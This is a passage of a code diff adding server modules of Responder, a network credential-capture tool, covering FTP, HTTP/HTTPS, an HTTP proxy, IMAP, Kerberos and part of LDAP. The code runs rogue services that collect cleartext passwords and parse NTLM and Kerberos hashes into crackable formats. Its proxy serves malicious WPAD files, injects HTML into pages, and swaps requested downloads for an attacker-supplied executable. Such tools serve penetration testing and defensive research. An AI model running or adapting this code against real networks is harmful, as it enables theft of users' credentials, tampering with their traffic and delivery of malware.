+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import settings
+
+from utils import *
+from SocketServer import BaseRequestHandler
+from packets import FTPPacket
+
+class FTP(BaseRequestHandler):
+	def handle(self):
+		try:
+			self.request.send(str(FTPPacket()))
+			data = self.request.recv(1024)
+
+			if data[0:4] == "USER":
+				User = data[5:].strip()
+
+				Packet = FTPPacket(Code="331",Message="User name okay, need password.")
+				self.request.send(str(Packet))
+				data = self.request.recv(1024)
+
+			if data[0:4] == "PASS":
+				Pass = data[5:].strip()
+
+				Packet = FTPPacket(Code="530",Message="User not logged in.")
+				self.request.send(str(Packet))
+				data = self.request.recv(1024)
+
+				SaveToDb({
+					'module': 'FTP', 
+					'type': 'Cleartext', 
+					'client': self.client_address[0], 
+					'user': User, 
+					'cleartext': Pass, 
+					'fullhash': User+':'+Pass
+				})
+
+			else:
+				Packet = FTPPacket(Code="502",Message="Command not implemented.")
+				self.request.send(str(Packet))
+				data = self.request.recv(1024)
+
+		except Exception:
+			pass

servers/HTTP.py

@@ -0,0 +1,292 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import struct
+import settings
+
+from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
+from base64 import b64decode, b64encode
+from utils import *
+
+from packets import NTLM_Challenge
+from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
+from packets import WPADScript, ServeExeFile, ServeHtmlFile
+
+
+# Parse NTLMv1/v2 hash.
+def ParseHTTPHash(data, client):
+	LMhashLen    = struct.unpack('<H',data[12:14])[0]
+	LMhashOffset = struct.unpack('<H',data[16:18])[0]
+	LMHash       = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+	
+	NthashLen    = struct.unpack('<H',data[20:22])[0]
+	NthashOffset = struct.unpack('<H',data[24:26])[0]
+	NTHash       = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+	
+	UserLen      = struct.unpack('<H',data[36:38])[0]
+	UserOffset   = struct.unpack('<H',data[40:42])[0]
+	User         = data[UserOffset:UserOffset+UserLen].replace('\x00','')
+
+	if NthashLen == 24:
+		HostNameLen     = struct.unpack('<H',data[46:48])[0]
+		HostNameOffset  = struct.unpack('<H',data[48:50])[0]
+		HostName        = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
+		WriteHash       = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
+
+		SaveToDb({
+			'module': 'HTTP', 
+			'type': 'NTLMv1', 
+			'client': client, 
+			'host': HostName, 
+			'user': User, 
+			'hash': LMHash+":"+NTHash, 
+			'fullhash': WriteHash,
+		})
+
+	if NthashLen > 24:
+		NthashLen      = 64
+		DomainLen      = struct.unpack('<H',data[28:30])[0]
+		DomainOffset   = struct.unpack('<H',data[32:34])[0]
+		Domain         = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
+		HostNameLen    = struct.unpack('<H',data[44:46])[0]
+		HostNameOffset = struct.unpack('<H',data[48:50])[0]
+		HostName       = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
+		WriteHash      = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
+
+		SaveToDb({
+			'module': 'HTTP', 
+			'type': 'NTLMv2', 
+			'client': client, 
+			'host': HostName, 
+			'user': Domain+'\\'+User, 
+			'hash': NTHash[:32]+":"+NTHash[32:], 
+			'fullhash': WriteHash,
+		})
+
+def GrabCookie(data, host):
+	Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
+
+	if Cookie:
+		Cookie = Cookie.group(0).replace('Cookie: ', '')
+		if len(Cookie) > 1 and settings.Config.Verbose:
+			print text("[HTTP] Cookie           : %s " % Cookie)
+		return Cookie
+	else:
+		return False
+
+def GrabHost(data, host):
+	Host = re.search('(Host:*.\=*)[^\r\n]*', data)
+
+	if Host:
+		Host = Host.group(0).replace('Host: ', '')
+		if settings.Config.Verbose:
+			print text("[HTTP] Host             : %s " % color(Host, 3))
+		return Host
+	else:
+		return False
+
+def WpadCustom(data, client):
+	Wpad = re.search('(/wpad.dat|/*\.pac)', data)
+	if Wpad:
+		Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
+		Buffer.calculate()
+		return str(Buffer)
+	else:
+		return False
+
+def ServeFile(Filename):
+	with open (Filename, "rb") as bk:
+		data = bk.read()
+		bk.close()
+		return data
+
+def RespondWithFile(client, filename, dlname=None):
+	
+	if filename.endswith('.exe'):
+		Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname)
+	else:
+		Buffer = ServeHtmlFile(Payload = ServeFile(filename))
+
+	Buffer.calculate()
+	print text("[HTTP] Sending file %s to %s" % (filename, client))
+
+	return str(Buffer)
+
+def GrabURL(data, host):
+	GET = re.findall('(?<=GET )[^HTTP]*', data)
+	POST = re.findall('(?<=POST )[^HTTP]*', data)
+	POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
+
+	if GET and settings.Config.Verbose:
+		print text("[HTTP] GET request from: %-15s  URL: %s" % (host, color(''.join(GET), 5)))
+
+	if POST and settings.Config.Verbose:
+		print text("[HTTP] POST request from: %-15s  URL: %s" % (host, color(''.join(POST), 5)))
+		if len(''.join(POSTDATA)) > 2:
+			print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
+
+# Handle HTTP packet sequence.
+def PacketSequence(data, client):
+	NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
+	Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
+
+	# Serve the .exe if needed
+	if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
+		return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
+
+	# Serve the custom HTML if needed
+	if settings.Config.Serve_Html == True:
+		return RespondWithFile(client, settings.Config.Html_Filename)
+
+	WPAD_Custom = WpadCustom(data, client)
+	
+	if NTLM_Auth:
+		Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
+
+		if Packet_NTLM == "\x01":
+			GrabURL(data, client)
+			GrabHost(data, client)
+			GrabCookie(data, client)
+
+			Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
+			Buffer.calculate()
+
+			Buffer_Ans = IIS_NTLM_Challenge_Ans()
+			Buffer_Ans.calculate(str(Buffer))
+
+			return str(Buffer_Ans)
+
+		if Packet_NTLM == "\x03":
+			NTLM_Auth = b64decode(''.join(NTLM_Auth))
+			ParseHTTPHash(NTLM_Auth, client)
+
+			if settings.Config.Force_WPAD_Auth and WPAD_Custom:
+				print text("[HTTP] WPAD (auth) file sent to %s" % client)
+				return WPAD_Custom
+
+			else:
+				Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
+				Buffer.calculate()
+				return str(Buffer)
+
+	elif Basic_Auth:
+		ClearText_Auth = b64decode(''.join(Basic_Auth))
+
+		GrabURL(data, client)
+		GrabHost(data, client)
+		GrabCookie(data, client)
+
+		SaveToDb({
+			'module': 'HTTP', 
+			'type': 'Basic', 
+			'client': client, 
+			'user': ClearText_Auth.split(':')[0], 
+			'cleartext': ClearText_Auth.split(':')[1], 
+		})
+
+		if settings.Config.Force_WPAD_Auth and WPAD_Custom:
+			if settings.Config.Verbose:
+				print text("[HTTP] WPAD (auth) file sent to %s" % client)
+			return WPAD_Custom
+
+		else:
+			Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
+			Buffer.calculate()
+			return str(Buffer)
+
+	else:
+		if settings.Config.Basic == True:
+			Response = IIS_Basic_401_Ans()
+			if settings.Config.Verbose:
+				print text("[HTTP] Sending BASIC authentication request to %s" % client)
+
+		else:
+			Response = IIS_Auth_401_Ans()
+			if settings.Config.Verbose:
+				print text("[HTTP] Sending NTLM authentication request to %s" % client)
+
+		return str(Response)
+
+# HTTP Server class
+class HTTP(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			while True:
+				self.request.settimeout(1)
+				data = self.request.recv(8092)
+				Buffer = WpadCustom(data, self.client_address[0])
+
+				if Buffer and settings.Config.Force_WPAD_Auth == False:
+					self.request.send(Buffer)
+					if settings.Config.Verbose:
+						print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
+
+				else:
+					Buffer = PacketSequence(data,self.client_address[0])
+					self.request.send(Buffer)
+		except socket.error:
+			pass
+
+# HTTPS Server class
+class HTTPS(StreamRequestHandler):
+	def setup(self):
+		self.exchange = self.request
+		self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
+		self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
+
+	def handle(self):
+		try:
+			while True:
+				data = self.exchange.recv(8092)
+				self.exchange.settimeout(0.5)
+				Buffer = WpadCustom(data,self.client_address[0])
+				
+				if Buffer and settings.Config.Force_WPAD_Auth == False:
+					self.exchange.send(Buffer)
+					if settings.Config.Verbose:
+						print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
+
+				else:
+					Buffer = PacketSequence(data,self.client_address[0])
+					self.exchange.send(Buffer)
+		except:
+			pass
+
+# SSL context handler
+class SSLSock(ThreadingMixIn, TCPServer):
+	def __init__(self, server_address, RequestHandlerClass):
+		from OpenSSL import SSL
+
+		BaseServer.__init__(self, server_address, RequestHandlerClass)
+		ctx = SSL.Context(SSL.SSLv3_METHOD)
+
+		cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
+		key =  os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
+
+		ctx.use_privatekey_file(key)
+		ctx.use_certificate_file(cert)
+
+		self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
+		self.server_bind()
+		self.server_activate()
+
+	def shutdown_request(self,request):
+		try:
+			request.shutdown()
+		except:
+			pass

servers/HTTP_Proxy.py

@@ -0,0 +1,356 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import settings
+import urlparse
+import select
+import zlib
+import BaseHTTPServer
+
+from servers.HTTP import RespondWithFile
+from utils import *
+
+IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ]
+
+def InjectData(data, client, req_uri):
+
+	# Serve the .exe if needed
+	if settings.Config.Serve_Always == True:
+		return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
+
+	# Serve the .exe if needed and client requested a .exe
+	if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'):
+		return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri))
+
+	if len(data.split('\r\n\r\n')) > 1:
+		try:
+			Headers, Content = data.split('\r\n\r\n')
+		except:
+			return data
+
+		RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
+
+		if [s for s in RedirectCodes if s in Headers]:
+			return data
+
+		if "content-encoding: gzip" in Headers.lower():
+			Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
+
+		if "content-type: text/html" in Headers.lower():
+
+			# Serve the custom HTML if needed
+			if settings.Config.Serve_Html == True:
+				return RespondWithFile(client, settings.Config.Html_Filename)
+
+			Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
+			HasBody = re.findall('(<body[^>]*>)', Content)
+
+			if HasBody and len(settings.Config.HtmlToInject) > 2:
+
+				if settings.Config.Verbose:
+					print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
+
+				Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))
+				Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
+
+		if "content-encoding: gzip" in Headers.lower():
+			Content = zlib.compress(Content)
+
+		data = Headers +'\r\n'+ Content
+
+	else:
+		if settings.Config.Verbose:
+			print text("[PROXY] Returning unmodified HTTP response")
+
+	return data
+
+class ProxySock:
+	def __init__(self, socket, proxy_host, proxy_port) : 
+
+		# First, use the socket, without any change
+		self.socket = socket
+
+		# Create socket (use real one)
+		self.proxy_host = proxy_host
+		self.proxy_port = proxy_port
+
+		# Copy attributes
+		self.family = socket.family
+		self.type = socket.type
+		self.proto = socket.proto
+
+	def connect(self, address) :
+
+		# Store the real remote adress
+		(self.host, self.port) = address
+	   
+		# Try to connect to the proxy 
+		for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
+			self.proxy_host, 
+			self.proxy_port,
+			0, 0, socket.SOL_TCP) :
+			try:
+				
+				# Replace the socket by a connection to the proxy
+				self.socket = socket.socket(family, socktype, proto)
+				self.socket.connect(sockaddr)
+					
+			except socket.error, msg:
+				if self.socket:
+					self.socket.close()
+				self.socket = None
+				continue
+			break
+		if not self.socket :
+			raise socket.error, ms 
+		
+		# Ask him to create a tunnel connection to the target host/port
+		self.socket.send(
+				("CONNECT %s:%d HTTP/1.1\r\n" + 
+				"Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port));
+
+		# Get the response
+		resp = self.socket.recv(4096)
+
+		# Parse the response
+		parts = resp.split()
+		
+		# Not 200 ?
+		if parts[1] != "200":
+			print color("[!] Error response from upstream proxy: %s" % resp, 1)
+			pass
+
+	# Wrap all methods of inner socket, without any change
+	def accept(self) :
+		return self.socket.accept()
+
+	def bind(self, *args) :
+		return self.socket.bind(*args)
+	
+	def close(self) :
+		return self.socket.close()
+	
+	def fileno(self) :
+		return self.socket.fileno()
+
+	def getsockname(self) :
+		return self.socket.getsockname()
+	
+	def getsockopt(self, *args) :
+		return self.socket.getsockopt(*args)
+	
+	def listen(self, *args) :
+		return self.socket.listen(*args)
+	
+	def makefile(self, *args) :
+		return self.socket.makefile(*args)
+	
+	def recv(self, *args) :
+		return self.socket.recv(*args)
+	
+	def recvfrom(self, *args) :
+		return self.socket.recvfrom(*args)
+
+	def recvfrom_into(self, *args) :
+		return self.socket.recvfrom_into(*args)
+	
+	def recv_into(self, *args) :
+		return self.socket.recv_into(buffer, *args)
+	
+	def send(self, *args) :
+		try: return self.socket.send(*args)
+		except: pass
+	
+	def sendall(self, *args) :
+		return self.socket.sendall(*args)
+	
+	def sendto(self, *args) :
+		return self.socket.sendto(*args)
+	
+	def setblocking(self, *args) :
+		return self.socket.setblocking(*args)
+	
+	def settimeout(self, *args) :
+		return self.socket.settimeout(*args)
+	
+	def gettimeout(self) :
+		return self.socket.gettimeout()
+	
+	def setsockopt(self, *args):
+		return self.socket.setsockopt(*args)
+	
+	def shutdown(self, *args):
+		return self.socket.shutdown(*args)
+
+	# Return the (host, port) of the actual target, not the proxy gateway
+	def getpeername(self) :
+		return (self.host, self.port)
+
+# Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao.
+class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
+	__base = BaseHTTPServer.BaseHTTPRequestHandler
+	__base_handle = __base.handle
+
+	rbufsize = 0
+
+	def handle(self):
+		(ip, port) =  self.client_address
+		if settings.Config.Verbose:
+			print text("[PROXY] Received connection from %s" % self.client_address[0])
+		self.__base_handle()
+
+	def _connect_to(self, netloc, soc):
+		i = netloc.find(':')
+		if i >= 0:
+			host_port = netloc[:i], int(netloc[i+1:])
+		else:
+			host_port = netloc, 80
+		try: soc.connect(host_port)
+		except socket.error, arg:
+			try: msg = arg[1]
+			except: msg = arg
+			self.send_error(404, msg)
+			return 0
+		return 1
+
+	def socket_proxy(self, af, fam):
+		Proxy = settings.Config.Upstream_Proxy
+		Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '')
+		Proxy = Proxy.split(':')
+
+		try:    Proxy = (Proxy[0], int(Proxy[1]))
+		except: Proxy = (Proxy[0], 8080)
+
+		soc = socket.socket(af, fam)
+		return ProxySock(soc, Proxy[0], Proxy[1])
+
+	def do_CONNECT(self):
+
+		if settings.Config.Upstream_Proxy:
+			soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM)
+		else:
+			soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+		try:
+			if self._connect_to(self.path, soc):
+				self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
+				self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
+				self.wfile.write("\r\n")
+				try:
+					self._read_write(soc, 300)
+				except:
+					pass
+		except:
+			pass
+
+		finally:
+			soc.close()
+			self.connection.close()
+
+	def do_GET(self):
+		(scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http')
+
+		if netloc in IgnoredDomains:
+			#self.send_error(200, "OK")
+			return
+
+		if scm not in ('http') or fragment or not netloc:
+			self.send_error(400, "bad url %s" % self.path)
+			return
+
+		if settings.Config.Upstream_Proxy:
+			soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM)
+		else:
+			soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+		try:
+			URL_Unparse = urlparse.urlunparse(('', '', path, params, query, ''))
+
+			if self._connect_to(netloc, soc):
+				soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version))
+
+				Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
+
+				if settings.Config.Verbose:
+					print text("[PROXY] Client        : %s" % color(self.client_address[0], 3))
+					print text("[PROXY] Requested URL : %s" % color(self.path, 3))
+					print text("[PROXY] Cookie        : %s" % Cookie)
+
+				self.headers['Connection'] = 'close'
+				del self.headers['Proxy-Connection']
+				del self.headers['If-Range']
+				del self.headers['Range']
+				
+				for k, v in self.headers.items():
+					soc.send("%s: %s\r\n" % (k.title(), v))
+				soc.send("\r\n")
+
+				try:
+					self._read_write(soc, netloc)
+				except:
+					pass
+
+		except:
+			pass
+
+		finally:
+			soc.close()
+			self.connection.close()
+
+	def _read_write(self, soc, netloc='', max_idling=30):
+		iw = [self.connection, soc]
+		ow = []
+		count = 0
+		while 1:
+			count += 1
+			(ins, _, exs) = select.select(iw, ow, iw, 1)
+			if exs:
+				break
+			if ins:
+				for i in ins:
+					if i is soc:
+						out = self.connection
+						try:
+							data = i.recv(4096)
+							if len(data) > 1:
+								data = InjectData(data, self.client_address[0], self.path)
+						except:
+							pass
+					else:
+						out = soc
+						try:
+							data = i.recv(4096)
+
+							if self.command == "POST" and settings.Config.Verbose:
+								print text("[PROXY] POST Data     : %s" % data)
+						except:
+							pass
+					if data:
+						try:
+							out.send(data)
+							count = 0
+						except:
+							pass
+			if count == max_idling:
+				break
+		return None
+
+
+	do_HEAD = do_GET
+	do_POST = do_GET
+	do_PUT  = do_GET
+	do_DELETE=do_GET

servers/IMAP.py

@@ -0,0 +1,55 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import settings
+
+from utils import *
+from SocketServer import BaseRequestHandler
+from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
+
+# IMAP4 Server class
+class IMAP(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			self.request.send(str(IMAPGreeting()))
+			data = self.request.recv(1024)
+
+			if data[5:15] == "CAPABILITY":
+				RequestTag = data[0:4]
+				self.request.send(str(IMAPCapability()))
+				self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
+				data = self.request.recv(1024)
+
+			if data[5:10] == "LOGIN":
+				Credentials = data[10:].strip()
+
+				SaveToDb({
+					'module': 'IMAP', 
+					'type': 'Cleartext', 
+					'client': self.client_address[0], 
+					'user': Credentials[0], 
+					'cleartext': Credentials[1], 
+					'fullhash': Credentials[0]+":"+Credentials[1],
+				})
+
+				## FIXME: Close connection properly
+				## self.request.send(str(ditchthisconnection()))
+				## data = self.request.recv(1024)
+
+		except Exception:
+			pass

servers/Kerberos.py

@@ -0,0 +1,159 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import struct
+import settings
+
+from SocketServer import BaseRequestHandler
+from utils import *
+
+def ParseMSKerbv5TCP(Data):
+	MsgType     = Data[21:22]
+	EncType     = Data[43:44]
+	MessageType = Data[32:33]
+
+	if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
+		if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
+			HashLen = struct.unpack('<b',Data[50:51])[0]
+			if HashLen == 54:
+				Hash       = Data[53:105]
+				SwitchHash = Hash[16:]+Hash[0:16]
+				NameLen    = struct.unpack('<b',Data[153:154])[0]
+				Name       = Data[154:154+NameLen]
+				DomainLen  = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
+				Domain     = Data[154+NameLen+4:154+NameLen+4+DomainLen]
+				BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+				return BuildHash
+
+		if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
+			HashLen = struct.unpack('<b',Data[45:46])[0]
+			if HashLen == 53:
+				Hash       = Data[48:99]
+				SwitchHash = Hash[16:]+Hash[0:16]
+				NameLen    = struct.unpack('<b',Data[147:148])[0]
+				Name       = Data[148:148+NameLen]
+				DomainLen  = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
+				Domain     = Data[148+NameLen+4:148+NameLen+4+DomainLen]
+				BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+				return BuildHash
+
+			if HashLen == 54:
+				Hash       = Data[53:105]
+				SwitchHash = Hash[16:]+Hash[0:16]
+				NameLen    = struct.unpack('<b',Data[148:149])[0]
+				Name       = Data[149:149+NameLen]
+				DomainLen  = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
+				Domain     = Data[149+NameLen+4:149+NameLen+4+DomainLen]
+				BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+				return BuildHash
+
+		else:
+			Hash       = Data[48:100]
+			SwitchHash = Hash[16:]+Hash[0:16]
+			NameLen    = struct.unpack('<b',Data[148:149])[0]
+			Name       = Data[149:149+NameLen]
+			DomainLen  = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
+			Domain     = Data[149+NameLen+4:149+NameLen+4+DomainLen]
+			BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+			return BuildHash
+	else:
+		return False
+
+def ParseMSKerbv5UDP(Data):
+	MsgType = Data[17:18]
+	EncType = Data[39:40]
+
+	if MsgType == "\x0a" and EncType == "\x17":
+		if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
+			HashLen = struct.unpack('<b',Data[41:42])[0]
+
+			if HashLen == 54:
+				Hash       = Data[44:96]
+				SwitchHash = Hash[16:]+Hash[0:16]
+				NameLen    = struct.unpack('<b',Data[144:145])[0]
+				Name       = Data[145:145+NameLen]
+				DomainLen  = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
+				Domain     = Data[145+NameLen+4:145+NameLen+4+DomainLen]
+				BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+				return BuildHash
+
+			if HashLen == 53:
+				Hash       = Data[44:95]
+				SwitchHash = Hash[16:]+Hash[0:16]
+				NameLen    = struct.unpack('<b',Data[143:144])[0]
+				Name       = Data[144:144+NameLen]
+				DomainLen  = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
+				Domain     = Data[144+NameLen+4:144+NameLen+4+DomainLen]
+				BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+				return BuildHash
+
+
+		else:
+			Hash       = Data[49:101]
+			SwitchHash = Hash[16:]+Hash[0:16]
+			NameLen    = struct.unpack('<b',Data[149:150])[0]
+			Name       = Data[150:150+NameLen]
+			DomainLen  = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
+			Domain     = Data[150+NameLen+4:150+NameLen+4+DomainLen]
+			BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+			return BuildHash
+	else:
+		return False
+
+class KerbTCP(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			data = self.request.recv(1024)
+			KerbHash = ParseMSKerbv5TCP(data)
+
+			if KerbHash:
+				(n, krb, v, name, domain, d, h) = KerbHash.split('$')
+
+				SaveToDb({
+					'module': 'KERB',
+					'type': 'MSKerbv5',
+					'client': self.client_address[0],
+					'user': domain+'\\'+name,
+					'hash': h,
+					'fullhash': KerbHash,
+				})
+
+		except Exception:
+			raise
+
+class KerbUDP(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			data, soc = self.request
+			KerbHash = ParseMSKerbv5UDP(data)
+			
+			if KerbHash:
+				(n, krb, v, name, domain, d, h) = KerbHash.split('$')
+
+				SaveToDb({
+					'module': 'KERB',
+					'type': 'MSKerbv5',
+					'client': self.client_address[0],
+					'user': domain+'\\'+name,
+					'hash': h,
+					'fullhash': KerbHash,
+				})
+
+		except Exception:
+			raise

servers/LDAP.py

@@ -0,0 +1,137 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import struct
+import settings
+
+from SocketServer import BaseRequestHandler
+from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
+from utils import *
+
+def ParseSearch(data):
+	Search1 = re.search('(objectClass)', data)
+	Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
+	Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
+
+	if Search1:
+		return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
+	if Search2:
+		return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
+	if Search3:
+		return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
+
+def ParseLDAPHash(data, client):
+	SSPIStart = data[42:]
+	LMhashLen = struct.unpack('<H',data[54:56])[0]
+
+	if LMhashLen > 10:
+		LMhashOffset = struct.unpack('<H',data[58:60])[0]
+		LMHash       = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+		
+		NthashLen    = struct.unpack('<H',data[64:66])[0]
+		NthashOffset = struct.unpack('<H',data[66:68])[0]
+		NtHash       = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		
+		DomainLen    = struct.unpack('<H',data[72:74])[0]
+		DomainOffset = struct.unpack('<H',data[74:76])[0]
+		Domain       = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
+		
+		UserLen      = struct.unpack('<H',data[80:82])[0]
+		UserOffset   = struct.unpack('<H',data[82:84])[0]
